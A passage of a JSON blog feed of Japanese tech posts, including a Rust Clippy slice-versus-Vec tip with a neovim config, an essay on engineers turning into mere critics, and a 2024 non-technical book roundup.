&Vec) -> i32 { values.iter().fold(0, |acc, value| acc + value * value)}この関数は問題なく動きますが、Idiomatic Rust(慣用的なRustコード)ではありません。Clippyは、次のような親切な警告を出してくれます:Checking test001 v0.1.0 (/Users/nwiizo/git/workspace_2024/clippy/test001)warning: writing `&Vec` instead of `&[_]` involves a new object where a slice will do --> src/main.rs:1:24 |1 | fn sum_squares(values: &Vec) -> i32 { | ^^^^^^^^^ help: change this to: `&[i32]` | = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#ptr_arg = note: `#[warn(clippy::ptr_arg)]` on by defaultこれは、&Vecよりも&[]のほうが汎用性が高いということを教えてくれています。Vecは&[T]に暗黙に変換されるので、わざわざVecで宣言するということは、使える範囲を狭めるだけで何のメリットもないのです。この関数は、機能性を全く損なわずに、次のように書き直すことができます:fn sum_squares(values: &[i32]) -> i32 { values.iter().fold(0, |acc, value| acc + value * value)}ミュータブル参照の場合ところで、引数の型がミュータブル参照であった場合は話が別です。&mut Vecと&mut [T]ではできることが異なります。次のように、引数のベクター型のサイズを変えるような関数は、ミュータブルスライスで置き換えることはできません:fn append_square(values: &mut Vec) { values.push(values.iter().fold(0, |acc, value| acc + value * value));}// 使用例let mut vv = vec![1,2,3];append_square(&mut vv);assert_eq!(vec![1,2,3,14], vv);このため、Clippyはミュータブル参照に対しては警告を発しません。これは、Clippyが文脈を理解して適切な判断を下せることを示す良い例です。neovim/nvim-lspconfig での設定VSCodeやCursor は知らないがこちらの設定でneovim は設定できる。 { \\"neovim/nvim-lspconfig\\", config = function() require(\\"nvchad.configs.lspconfig\\").defaults() local lspconfig = require \\"lspconfig\\" lspconfig.rust_analyzer.setup { settings = { [\\"rust-analyzer\\"] = { checkOnSave = { command = \\"clippy\\", extraArgs = { \\"--all\\", \\"--\\", \\"-W\\", \\"clippy::all\\" }, }, }, }, } require \\"configs.lspconfig\\" end, },おわりにClippyは、より良いRustプログラムを書くことができるように導いてくれる、優しい先生のような存在です。もちろん、Clippyも完璧ではなく、時には偽陽性の検出もありますが、それは人間でも同じことです。より良いRustの書き方を学び、コードの品質を向上させ、プログラミングの知識を深められるClippyは、人間のレビュアーとは違って何度指摘されても評価が下がることのない、心強い味方となってくれます。という利点があります。ぜひ、みなさんも日々のRustプログラミングにClippyを取り入れてみてください。疑問に思ったClippyの警告は、その都度調べてみることをお勧めします。そうすることで、Rustの理解がより深まっていくはずです。Effective Rustに関しては日本語の本が出ているので興味があれば読んでみても良いと思う。Effective Rust ―Rustコードを改善し、エコシステムを最大限に活用するための35項目作者:David Drysdaleオーム社Amazon個人的に良かった記事qiita.comkenoss.github.io業務 におけるRust の記事を読んだがどちらの記事もとても良かった。","isoDate":"2024-12-27T08:00:46.000Z","dateMiliSeconds":1735286446000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"「評論家気取り」という作る人の行き着く先が怖い","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/27/144509","contentSnippet":"らーめん再遊記 第一巻より引用らーめん再遊記(1) (ビッグコミックス)作者:久部緑郎,河合単小学館Amazonはじめに技術界隈には、長年続いている不穏な現象があります。コードを書くことに情熱を注いでいた人々が、いつの間にか他人の成果物を論評することに執心するようになってしまうのです。なぜ私たちは燃え尽きてしまうのか作者:ジョナサン マレシック青土社Amazonこの現象は、特にベテランと呼ばれるエンジニアたちの間で顕著です。彼らは確かな技術力を持ち、素晴らしい成果を残してきました。しかし、彼らの多くが、創造者から評論家への転身!?を遂げつつあります。仕事の辞め方 (幻冬舎単行本)作者:鈴木おさむ幻冬舎Amazon実は私たちエンジニアは皆、いずれ評論家になる運命を背負っているのかもしれません。年を重ね、技術の第一線から遠ざかるにつれ、「作る」ことから「評論する」ことへと、その重心を少しずつシフトさせていきます。それは半ば必然であり、誰もが通る道なのでしょう。だからこそ、今、この問題について考えたいと思います。これは、いずれ評論家になるかもしれない私自身への警告であり、そして自戒の言葉でもあります。実装者から評論家へ。エンジニアの変質を、私は憂慮しています。この静かな変化について、正面から向き合ってみましょう。作る側が評論に逃げるとき「このコードは素人レベルで時代遅れです。基礎から学び直してください」「アーキテクチャへの理解が浅く、重要な議論が抜け落ちています」「技術選定の根拠が説明されておらず、設計思想が古いままです」「なぜあのライブラリやアーキテクチャに触れていないのですか。初歩的な見落としです」SNSには辛辣な評論・批評が溢れ、技術ブログには高圧的な論評が並び、カンファレンスの裏チャンネルは批判で充満しています。最も危惧すべきは、これらの評論・批評の多くが、かつては優れたコードを生み出していたはずのエンジニアたちから発せられているということです。問題なのは、これらの言説が建設的な議論を装いながら、実際には単なる批判に終始している点です。 改善案を示すわけでもなく、プルリクエストを送るわけでもなく、ただ「ダメ出し」だけを繰り返しています。これは技術的な議論ではなく、単なる自己顕示でしかありません。アイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazon自意識が一流評論家になってしまったかつて天才だったエンジニアXのタイムラインには、自らを一流評論家だと思い込んだエンジニアたちが目立っています。「この実装は素人レベルです。こんなコードしか書けない人は、基礎から学び直すべきです」—そう断罪するのです。 しかし、彼ら自身は数年前の自分のコードを振り返ってみたことがあるでしょうか。あるいは最近では、実装よりもメンテナンス業務が中心になってはいないでしょうか。かつての優秀なエンジニアたちは、初学者への指摘だけでは飽き足らず、すでに実績のあるエンジニアたちにまで批判の矛先を向けています。有名OSSのプルリクエストには「この設計は時代遅れです。モダンな設計パターンを学んでから出直してください」と高圧的なコメントを残し、技術ブログに対しても「この技術選定の根拠が説明されていません」「重要な議論が抜け落ちています」と、まるで査読者のような態度で指摘を繰り返します。さらに気がかりなのは、オープンソースのイシューやプルリクエストへの不建設的な態度です。具体的な改善案を示すことなく、ただ問題点の指摘だけを行うのです。「なぜこの設計を選んだのですか?」「この実装では不十分です」という批判は、具体的な改善案を伴わない限り、何の価値も生み出せません。評論家気取りのポストで注目を集める快感に魅了されたエンジニアは、徐々に変質していきます。最初は些細な技術的指摘から始まり、「いいね」という承認欲求に駆られ、その評論は次第に厳しさを増していくのです。「なぜこの技術スタックを選んだのですか?」「なぜこの設計パターンを採用しなかったのですか?」—まるで面接官のように、実装者を追い詰める質問を投げかけ始めます。そして最も懸念すべきは、若手エンジニアの成長機会が損なわれていくという事実です。建設的なフィードバックの代わりに投げかけられる批判は、若手の挑戦する意欲を削ぎ、コミュニティへの貢献を躊躇させています。時には、自身を技術界の権威だと思い込んだエンジニアが、若手たちの真摯な努力までも批判の対象としてしまうのです。評論は衰退の始まりエンジニアが評論家めいた物言いを始めるとき、それは衰退の予兆かもしれません。ただし、適切な評論や建設的な批判は、技術の発展に不可欠な要素でもあります。レビューやフィードバックを通じて、実装の品質は向上し、よりよい設計が生まれていきます。問題なのは、創造的な貢献を伴わない批判に終始してしまうことです。創造者には創造者としての責務があります。コードに不満があるならば、改善のプルリクエストを送ることができます。ドキュメントが不十分と感じるなら、具体的な改善案を示すことができます。アーキテクチャが気に入らないのであれば、より優れた実装を示す機会が開かれています。発表内容に不満があるというのなら、自らが登壇する選択肢もあります。これは単なる理想論ではありません。優れたエンジニアたちは、常にこの原則に従って行動してきました。彼らは単なる批判ではなく、コードで語ります。問題点の指摘だけではなく、改善案の実装を示します。時には厳しい指摘も必要ですが、それは常により良い方向への具体的な提案を伴うものでなければなりません。評論と批判は、建設的な議論の土台となり得ます。しかし、それは実装による貢献があってこそ意味を持つのです。評論家として批判するだけでなく、創造者として具体的な改善を示していく—それこそが、エンジニアの進むべき道筋なのではないでしょうか。みんなのフィードバック大全作者:三村 真宗光文社Amazonなぜ評論に逃げるのか実のところ、その理由は複雑に絡み合っています。一見すると創造する意欲が失われていくように見えますが、その背景にはさまざまな要因が存在します。まず、技術の進化スピードが年々加速していることが挙げられます。かつて最先端だった技術スタックは、わずか数年で「レガシー」と呼ばれるようになります。新しい技術への追従に疲れ、自信を失っていく—そんなベテランエンジニアの姿を、私たちは目にしてきました。また、組織の中での役割の変化も大きな要因となります。マネジメントやアーキテクトの立場になると、直接コードを書く機会が減っていきます。それは自然なキャリアパスかもしれませんが、同時に「作る」喜びから遠ざかることも意味します。さらに、以前の自分を超えられないという焦りもあるでしょう。若かりし頃に作り上げた素晴らしいプロダクトやライブラリ。その成功体験が重荷となり、新しいチャレンジを躊躇させることもあります。過去の栄光に縛られ、新たな失敗を恐れる—そんな心理が、評論という安全な場所への逃避を促します。そして、評論には誘惑があります。技術ブログへの評論記事は数時間で書け、発表資料への批判は数分で完結し、SNSなら数行のポストで事足ります。実装を伴う苦労も、メンテナンスの責任も、失敗のリスクも必要ありません。最も注意すべきは、その行為が「いいね」という即時の報酬と、表面的な自己肯定感をもたらすことです。賢明な分析家として認められ、技術の識者として扱われる。この心地よさが、さらなる評論への逃避を促していきます。他者への批判で得られる一時的な優越感は、しかし、本当の自己肯定感とは異なります。 建設的な創造による達成感こそが、エンジニアの誇りとなるべきものです。時には、組織の文化や環境も影響します。過度な品質要求や、失敗を許容しない雰囲気は、エンジニアを萎縮させ、批評家的な立場に追いやってしまうことがあります。新しいことへの挑戦よりも、既存のものを批評する方が「安全」だと感じてしまうのです。この悪循環は、技術コミュニティ全体に影響を及ぼします。建設的な議論が減少し、若手の挑戦する意欲が失われ、コミュニティの分断が進んでいきます。評論は容易でも、実際の改善は誰も行わない—そんな状況に陥っているのです。しかし、これは決して避けられない運命ではありません。技術の変化を恐れず、小さな一歩から始める勇気を持つこと。過去の成功や失敗にとらわれすぎず、新しい挑戦を続けること。そして何より、評論家としての安易な満足に甘んじないこと。それが、創造者としての道を歩み続けるための鍵となるのではないでしょうか。批評の教室 ──チョウのように読み、ハチのように書く (ちくま新書)作者:北村紗衣筑摩書房Amazon作る側の矜持エンジニアの本質的価値は、創造する能力にあります。 しかし、それは建設的な評論の価値を否定するものではありません。むしろ、創造と評論のバランスを保つことこそが、真のエンジニアとしての成熟を示すのかもしれません。不満な実装を見つけたのなら、より良いコードで示していきましょう。しかし、それは時として現実的ではないこともあります。そんなとき、具体的で建設的で受け入れやすいフィードバックは、それ自体が価値ある貢献となり得ます。資料に物足りなさを感じたのなら、自らより良い資料を書いていきましょう。ただし、すべての領域で自ら書き直すことは不可能です。そこでは、経験に基づいた示唆に富む指摘が、コミュニティの発展を支えることになります。エンジニアの成長は、実装による具体的な貢献を通じて実現されます。しかし、それは単独の作業ではありません。建設的なフィードバックの交換、経験の共有、そして時には適切な批評—これらの相互作用が、より良い実装を生み出す土台となります。重要なのは、創造と評論の適切なバランスです。他者のコードを批判するだけでなく、具体的な改善案を示すことができます。時には成果を否定したくなることもあるでしょうが、それを建設的なフィードバックへと昇華させることが大切です。また、自身の実装経験に基づいた説得力のある指摘は、コミュニティの発展に大きく寄与します。特に若手エンジニアに対しては、その成長を支援する温かい指摘を心がけたいものです。SNSでの浅薄な承認に価値を見出すのではなく、実装と建設的な評論の両輪で、技術コミュニティの発展に貢献していきましょう。それこそが、経験を積んだエンジニアとしての責務なのではないでしょうか。創造の喜びを忘れず、同時に適切な評論の価値も理解する—その両方を備えることで、私たちは真のエンジニアとしての成長を続けることができるのです。そして、それこそが技術コミュニティ全体の発展につながっていくはずです。批評理論を学ぶ人のために世界思想社Amazonおわりに「この文章自体も、評論ではないでしょうか」—そんな声が聞こえてきそうです。その通りです。私たちは、いずれ評論家になる運命から完全に逃れることはできないのかもしれません。年を重ねていったり、第一線を離れていく中で、評論的な視点は自然と身についていきます。それは、ある意味で技術者としての成熟の一面なのかもしれません。しかし、それでも私たちには選択の余地があります。評論に溺れるのか、それとも最後まで創造を続けるのか。私は後者を選びたいと思います。だからこそ、この文章を書き終えたら、すぐにコードを書きます。 プルリクエストを送り、ドキュメントを改善します。たとえ疲れてしまって楽な評論的な視点を持ったとしても、それを建設的な創造へと昇華させる努力を続けていきます。エンジニアは、創造することで価値を示せます。評論だけでは、成長は望めません。私たちは、作ることで命をつなぎます。 評論家という名の死に屈することなく。ついでにGitHubでもフォローしてくれ⋯github.com","isoDate":"2024-12-27T05:45:09.000Z","dateMiliSeconds":1735278309000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"BudouxによりNeovimのWモーションを拡張し、日本語文章の区切りに移動させる","link":"https://blog.atusy.net/2024/12/27/nvim-budoux-motion/","contentSnippet":"Google製改行位置決定アルゴリズムBudouxをLuaに移植した。読みやすい位置で文を区切れるので、bionic readingの日本語版を実装できるかも。","isoDate":"2024-12-27T00:00:00.000Z","dateMiliSeconds":1735257600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Youkiを動かしてみる","link":"https://qiita.com/ys1/items/7e92327c7728471cfc65","contentSnippet":"概要Kubernetesではコンテナを作成するとき、コンテナランタイム(高レベルランタイム、低レベルランタイム)を利用しています。低レベルランタイムであるyoukiを通じてコンテナに関する理解を…","isoDate":"2024-12-25T10:51:53.000Z","dateMiliSeconds":1735123913000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"Google製の改行位置決定アルゴリズムBudouxをLuaに移植した","link":"https://blog.atusy.net/2024/12/25/budoux-lua/","contentSnippet":"Google製改行位置決定アルゴリズムBudouxをLuaに移植した。読みやすい位置で文を区切れるので、bionic readingの日本語版を実装できるかも。","isoDate":"2024-12-25T00:00:00.000Z","dateMiliSeconds":1735084800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"2024年 俺が愛した本たち 非技術書編(物語を除く)","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/25/084801","contentSnippet":"この記事は、3-shake Advent Calendar 2024 6日目のエントリ記事です。はじめにこんにちは、nwiizoです。2024年も終わりに近づいています。毎年恒例となった年末の読書振り返りの時期が来ました。今年はいつも以上に多くの本を読みましたが、その中でも技術書以外の本との出会いが、私の世界を大きく広げてくれました。哲学書、ビジネス書、社会科学書など、多岐にわたるジャンルの本に触れることで、新しい視点や考え方を学ぶことができました。なお、今回は物語やノンフィクションについては別の機会に譲り、主にビジネスや思考に関する本を中心にご紹介させていただきます。一見エンジニアリングとは関係のない本の中に、日々の仕事や課題解決に活かせるヒントが数多く隠れていることに気づかされた一年でもありました。本を読むことは知識を得るだけでなく、物事を多角的に捉える力を育んでくれます。様々な分野の本に触れることで、自分の思考の幅が広がり、新しいアイデアや解決策が浮かぶようになってきたように感じています。...とここまで偉そうに書きましたが、実際のところ私は「へぇ~、そうなんだ」とか「なるほど、そういう考え方もあるのか」くらいの気持ちで本を読んでいます。この記事では、2024年に私の心に深く刻まれた非技術書をご紹介したいと思います。これらの本との出会いが、読者の皆さんの新たな読書体験のきっかけになれば幸いです。はじめに昨年以前に紹介した本BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?High Conflict よい対立 悪い対立 世界を二極化させないために「怠惰」なんて存在しない 終わりなき生産性競争から抜け出すための幸福論THINK BIGGER 「最高の発想」を生む方法「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」会って、話すこと。――自分のことはしゃべらない。相手のことも聞き出さない。人生が変わるシンプルな会話術勘違いが人を動かす――教養としての行動経済学入門おわりに昨年以前に紹介した本syu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comBIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?世間を賑わせたメガプロジェクトの成功と失敗について掘り下げた本です。何が面白いって、メガプロジェクトというのはほぼ確実に上手くいかないのです。予算はオーバーし、納期は遅れ、最後には利益も出ない。しかも規模が大きいだけに、失敗のインパクトも半端ない。でも、そんな中でもたまに劇的に成功するプロジェクトがある。本書は、その差は一体どこにあるのかを探っています。著者が紹介する成功への要因は意外とシンプルです。「ゆっくり考え、すばやく動く」という原則や、「レゴを使ってつくる」という具体的な可視化の手法、「マスタービルダーを雇う(専門家を頼る)」といった実践的なアプローチが示されています。実は、この本の面白さは二重構造になっています。壮大なプロジェクトの成功と失敗の物語として読むと純粋に面白いのですが、自分が経験したことがあるプロジェクトに重ねて読むと...(ちょっと考え込む)まあ、そこは各自の想像にお任せします。特に印象的だったのは、大規模プロジェクトの教訓が、実は小規模なプロジェクトにも当てはまるという指摘です。例えば「小さく試し、成功したら拡大する」というアプローチは、ビジネスからアート、果ては生物の進化まで、不確実性と向き合うあらゆる分野で見られる原則なんですよね。何か新しいことに挑戦しようと考えている人には、特におすすめの一冊です。ただし、現在進行形でプロジェクトの真っ只中にいる人は、読むタイミングを少し考えた方がいいかもしれません。なんてったって、成功率0.5%という現実を突きつけられますからね。BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?作者:ベント・フリウビヤ,ダン・ガードナーサンマーク出版AmazonHigh Conflict よい対立 悪い対立 世界を二極化させないために対立には2つの種類があるということを、この本は教えてくれます。健全な対立は、私たちの成長を促し、相互理解と向上につながります。一方で、不健全な対立(ハイコンフリクト)は、「私たち対彼ら」という二項対立に陥り、問題の本質とは関係のない揚げ足取りや感情的な対立を引き起こします。読んでいて特に対立は感情の問題ではなく、構図の問題だという指摘が印象に残りました。私たちは「相手の感情を変えなければ」と思いがちですが、実は解決すべきは対立という構造そのものなんですね。本書が提案する解決策も興味深いものでした。従来の「逃げる」「戦う」「我慢する」という3つの方法ではなく、第四の道を示してくれます。それは、最終的な意見の一致を目指すのではなく、お互いの話に真摯に耳を傾けること。意見は違っていても、自分の話をちゃんと聞いてもらえたと全員が感じられれば、それが健全な対話への第一歩になるというわけです。読んでいて「よい対立」というのは、実は「よい対話」のことなのかもしれないと思いました。相手と自分の違いを楽しみながら、お互いの考えを知ろうとする姿勢。それが結果的に、建設的な関係性を築くヒントになるのではないでしょうか。ダイアローグ 価値を生み出す組織に変わる対話の技術作者:熊平美香ディスカヴァー・トゥエンティワンAmazonただし、これは理想論に聞こえるかもしれません。実際の現場では、感情的になったり、相手の話を遮ってしまったりすることは日常茶飯事です。でも、だからこそ、この本が教えてくれる対立の構造を理解し、より良い対話を目指すヒントは、とても価値があると感じました。High Conflict よい対立 悪い対立 世界を二極化させないために作者:アマンダ・リプリーディスカヴァー・トゥエンティワンAmazon「怠惰」なんて存在しない 終わりなき生産性競争から抜け出すための幸福論「休むこと」に罪悪感を覚える社会の呪縛について、深い洞察を投げかける一冊です。著者は、「怠惰は悪である」という私たちの思い込みが、実は資本主義社会が生み出した幻想だと指摘します。人の価値は生産性では測れないという当たり前だけど忘れがちな事実です。「もっとできるはずだ」「自分の限界を信じるな」といった私たちが \\"真実\\" だと思い込んでいる考えが、実は \\"ウソ\\" かもしれないと思わされます。働くということ 「能力主義」を超えて (集英社新書)作者:勅使川原真衣集英社Amazon特に印象的だったのは、休息は \\"サボり\\" ではなく、むしろ脳を活性化させる大切な時間だという指摘です。何もしていないように見える時間こそ、実は新しいアイデアが生まれる瞬間だったりします。実はこれは、近年増加している燃え尽き症候群の問題とも深く関係しています。休むことを後ろめたく感じ、常に生産的でなければならないというプレッシャーは、私たちのメンタルヘルスに大きな影響を与えているのです。心療内科医が教える本当の休み方作者:鈴木 裕介アスコムAmazonこれは昨年話題になった『なぜ私たちは燃え尽きてしまうのか』という本でも指摘されていました。バーンアウトは単なる個人の弱さの問題ではなく、仕事が私たちのアイデンティティそのものになってしまっているという、現代社会の構造的な問題なのだと。なぜ私たちは燃え尽きてしまうのか作者:ジョナサン マレシック青土社Amazon実は私も、「もっと頑張れるはずだ」と自分を追い込むタイプでした。でも、そんな生き方って本当に正しいのかな?と考えるきっかけをくれた本です。生産性や成果だけが人生の価値を決めるわけじゃない。この当たり前の事実に、改めて気づかされました。この本は、急がなくていい、そんなに頑張らなくていいと、優しく語りかけてくれます。そして、それは決して「怠けていい」という意味ではなく、むしろ自分らしく、人間らしく生きるための大切な気づきなのだと教えてくれるのです。「怠惰」なんて存在しない 終わりなき生産性競争から抜け出すための幸福論作者:デヴォン・プライスディスカヴァー・トゥエンティワンAmazonTHINK BIGGER 「最高の発想」を生む方法この本は、私たちの「創造性」に対する多くの思い込みを覆してくれる一冊です。「天才のひらめき」という美しい物語は、実は幻想かもしれないという衝撃的な指摘から始まります。著者によれば、イノベーションの本質は「新しいアイデアを無から生み出すこと」ではなく、「既存のアイデアを新しく組み合わせること」なのだそうです。例えば、ピカソが天才的なアーティストとされるのは、同時代の画家マティスとアフリカのビリ人による彫像を巧みに組み合わせて、キュビスムという新しい芸術様式を生み出したからなんですね。この点について、私は広告界の巨人ジェームス・W・ヤングの『アイデアのつくり方』(1940年)から学びました。ヤングは「新しいアイデアとは、既存の要素の新しい組み合わせ以外の何物でもない」と述べています。そして私は、その組み合わせを見つけるには、事物の関連性を見つけ、組み合わせを試行錯誤することが重要だと考えています。アイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazon特に印象的だったのは、私たちが「創造性を高める」と信じている方法の多くが、実は科学的な根拠に欠けているという指摘です。ブレインストーミングの効果は研究で否定されているとか、オフィス空間を奇抜にしても創造性は上がらないとか。むしろ大切なのは、様々な素材を一つ一つ心の解像度を上げて捉え、向き合うこと。そして、それらの関係性を探り出すことなのです。著者は、アイデアの創造プロセスについて興味深い観察を示してくれます。何気ない見聞き、例えば電車に乗っているとき、風呂に入っているとき、トイレのときなど、ふとした瞬間にアイデアが心の中で飛び込んでくる。でも、これは実は偶然ではなく、それまでの地道な素材集めと向き合いの結果なんだそうです。THINK BIGGER 「最高の発想」を生む方法:コロンビア大学ビジネススクール特別講義 (NewsPicksパブリッシング)作者:シーナ・アイエンガーニューズピックスAmazonこの本は、世の中に溢れている「創造性神話」を丁寧に解きほぐしながら、誰もが実践できる方法論を示してくれます。アイデアを生むには、まず問題を無意識の中で整理し、忘れたような状態にすることも大切なんですね。そして何より、「天才のひらめき」を待つのではなく、地道に知識を蓄え、既存のアイデアを組み合わせていく。そんな着実なアプローチこそが、実は最も創造的な方法なのかもしれません。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策コミュニケーションの失敗の原因を、認知科学の視点から解き明かしてくれる一冊です。著者は、「話せばわかる」という私たちの思い込みが、実は幻想かもしれないと指摘します。人は自分の都合のいいように誤解する生き物だという指摘です。これは、相手が「悪意を持って誤解している」わけではなく、むしろ 私たち一人一人が持つ「知識や思考の枠組み(スキーマ)」が異なるために起こる自然な現象なんだそうです。例えば、同じ「ネコ」という言葉を聞いても、人によって思い浮かべる映像は全く違います。これと同じように、ビジネスの現場でも、私たちは知らず知らずのうちに、自分のスキーマを通して相手の言葉を解釈しているのです。著者は、コミュニケーションの達人になるためのヒントも示してくれます。ポイントは、「失敗を成長の糧にする」「説明の手間を惜しまない」「相手をコントロールしようとしない」「聞く耳を持つ」といった心構えです。これは決して「相手に合わせろ」という話ではなく、むしろお互いの違いを認識した上で、どう理解し合えるかを考えることの大切さを教えてくれます。この本は、日々のコミュニケーションで「なんでわかってくれないんだろう」と悩む私に、とても実践的なヒントを与えてくれました。結局のところ、完璧な伝達は不可能で、むしろ誤解や聞き違いを前提に、どうコミュニケーションを取るかを考えることが大切なのかもしれません。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonイシューからはじめよ[改訂版]――知的生産の「シンプルな本質」この本は私にとって特別な一冊です。「今この局面でケリをつけるべき問題」を見極めることの大切さを教えてくれた、まさにバイブルと呼べる存在でした。今回の読書振り返りを書くにあたっても、「何を伝えるべきか」を考える際の指針となってくれています。本書の核心は、「真に価値のある仕事は、イシューの設定から始まる」というものです。世の中には問題が山積みですが、その中で「今、本当に答えを出すべき」かつ「答えを出す手段がある」問題は、実はごくわずかです。優れた知的生産には分野を超えて共通の手法があると本書は教えてくれます。ビジネスでも、研究でも、アートでも、本質的な問題を見極めることから始めるという原則は変わりません。これは『熟達論―人はいつまでも学び、成長できる』でも同様の指摘がされています。分野は違えど、真に優れた実践者たちには共通のパターンがあるのです。それは問題の本質を見抜き、そこに向けて地道な努力を重ねる姿勢です。両書を読み進めるうちに、自分の中で「イシュー」を見極めることと「熟達」することの間に深いつながりがあることを感じました。熟達論―人はいつまでも学び、成長できる―作者:為末大新潮社Amazonこの気づきは私の学びの姿勢を大きく変えました。以前は目の前の課題に対して「とにかくやってみる」というアプローチでしたが、今は必ず立ち止まって「本当のイシューは何か」を考えるようになりました。そして、そのイシューに向き合う中で、自分自身の熟達度も少しずつ上がっていくような気がしています。また、本書では「課題解決の2つの型」について深く掘り下げています。ギャップフィル型(あるべき姿が明確な場合)と、ビジョン設定型(そもそもあるべき姿を見極める必要がある場合)という分類は、単なる理論的な整理ではありません。これは実践の場で直面する様々な課題に対して、どのようなアプローチを取るべきかを示す羅針盤となってくれます。多くの失敗は、この2つの型を取り違えることから始まるのかもしれません。今年の読書でも、この本で学んだ「イシューからはじめる」という考え方が、本の選び方や読み方に大きな影響を与えています。一見バラバラに見える本たちも、実は私なりの「イシュー」に基づいて選んでいたことに、この振り返りを書きながら気づきました。それぞれの本が、異なる角度から私の中の「イシュー」に光を当ててくれていたのです。イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」作者:安宅和人英治出版Amazon会って、話すこと。――自分のことはしゃべらない。相手のことも聞き出さない。人生が変わるシンプルな会話術この本との出会いは、私の会話に対する考え方を大きく変えてくれました。「人は他人の話に興味がない」という荒々しいけれど正直な前提から始まり、そこから真摯に「ではなぜ人は会って話すのか」を探っていく展開に引き込まれました。本書で最も印象的だったのは、「外にあるものを一緒に見つめる」という会話の本質についての洞察です。自分のことを話したり、相手のことを聞き出したりする必要はない。むしろ、お互いの外にあるものに目を向け、新しい風景を一緒に発見することが、会話の醍醐味なのだと。実は最近、NON STYLE 石田さんの「答え合わせ」や令和ロマン・髙比良くるまさんの「漫才過剰考察」にハマっていて、面白い掛け合いの「仕組み」についてかなり考えていました。答え合わせ(マガジンハウス新書)作者:石田明マガジンハウスAmazonでも本書を読んで、会話の本質は必ずしもそういった技術的な部分だけではないことに気づかされました。巧みなツッコミやテンポのいい掛け合いも素晴らしいけれど、二人で同じ風景を見つめて「へぇ」と言い合えるような静かな会話にも、また違った味わいがあるんですね。漫才過剰考察作者:令和ロマン・髙比良くるま辰巳出版Amazonこれまで私は「相手に興味を持ってもらえるような話をしなきゃ」「相手の話をもっと引き出さなきゃ」と、どこか力んでいた気がします。でも、本書はそんな会話の構えをすべて取り払ってくれました。漫才のようにオチを付ける必要もない。ツッコミも不要。むしろ、ボケにボケを重ねて「今なんの話してたっけ?」となる方が、会話として自然なのかもしれません。会話は決して「相手を理解する」「自分を理解してもらう」ためのものではない。そう割り切ることで、むしろ自然な会話が生まれる。この逆説的な知恵が、私の日々の会話をより楽しいものにしてくれています。会って、話すこと。――自分のことはしゃべらない。相手のことも聞き出さない。人生が変わるシンプルな会話術作者:田中 泰延ダイヤモンド社Amazon勘違いが人を動かす――教養としての行動経済学入門人はとても愚か。「人は論理や情熱ではなく、認知バイアスによって動く」という衝撃的な視点を示してくれる一冊です。その象徴的な例が、男性用トイレの小便器にハエのマークを描くと飛び散りが激減する「ハウスフライ効果」。私たちは意外なほど、こういった「勘違い」によって行動が変わってしまう生き物なんですね。本書は、普段の生活で遭遇する様々な認知バイアスについて、豊富な事例とともに解説してくれます。例えば、カジノが現金ではなくチップを使う理由。実は、チップを使うと現金を使う時より負けた時の痛みを感じにくくなるそうです。さらにカーペットを長めにして歩くスペードを遅くさせたり、出口への最短ルートをわかりにくくしたり...。私たちの行動を操る仕掛けが、至る所に張り巡らされているんです。特に印象的だったのは、「予期的後悔」についての指摘です。私たちは「将来後悔するかもしれない」という不安から、決断を先送りにしがちです。でも実は、人は将来の感情を過大評価する傾向があり、実際の後悔は想像よりもずっと小さいものだとか。この点については、『変化を嫌う人を動かす』という本でも深く掘り下げられています。人が変化を受け入れられない理由として「惰性」「労力」「感情」「心理的反発」という4つの要因があるそうです。両書を併せて読むことで、人がなぜ現状維持バイアスに縛られやすいのか、より立体的に理解できました。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazon本書を読んで、自分の行動の多くが実は「論理的な判断」ではなく「認知バイアス」によって左右されていることを実感しました。この気づきは、自分の意思決定を見直すきっかけになると同時に、他者の行動をより深く理解することにもつながります。賢明なのは、これらのバイアスと戦うことではなく、その存在を認識した上で、うまく付き合っていくことなのかもしれません。勘違いが人を動かす――教養としての行動経済学入門作者:エヴァ・ファン・デン・ブルック,ティム・デン・ハイヤーダイヤモンド社Amazonおわりに今年の読書を振り返ってみると、一つの大きなテーマが浮かび上がってきました。それは「人はいかに自分の思い込みに縛られているか」ということです。私たちは普段、意識せずに様々な思い込みの中で生活しています。でも、新しい本と出会うたびに、そんな「当たり前」が少しずつ揺さぶられていくような体験をしました。「へぇ~、そうなんだ」という素直な驚きから始まった読書でしたが、振り返ってみると、それぞれの本が不思議と響き合って、より深い気づきをもたらしてくれたように思います。理論的な本を読んでは実践的な本で確認し、個人的な視点の本を読んでは社会的な視点の本で補完する。そんな読書の往復運動の中で、自分の視野が少しずつ広がっていくのを感じました。来年も、このように自分の「思い込み」を優しく解きほぐしてくれるような本との出会いを楽しみにしています。そして、その体験をまた皆さんと共有できればと思います。最後まで読んでいただき、ありがとうございました。","isoDate":"2024-12-24T23:48:01.000Z","dateMiliSeconds":1735084081000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"RのSys.time()でミリ秒以下を表示する","link":"https://blog.atusy.net/2024/12/24/r-time-subsec/","contentSnippet":"Sys.time()でミリ秒以下を表示するには、digits.secオプションか、format関数を使うといいよ。いずれも最大でマイクロ秒までの表示に対応。データの実態を知ってると、ナノ秒以下の情報も取得可能。ただし、精度はOS依存。","isoDate":"2024-12-24T00:00:00.000Z","dateMiliSeconds":1734998400000,"authorName":"Atsushi 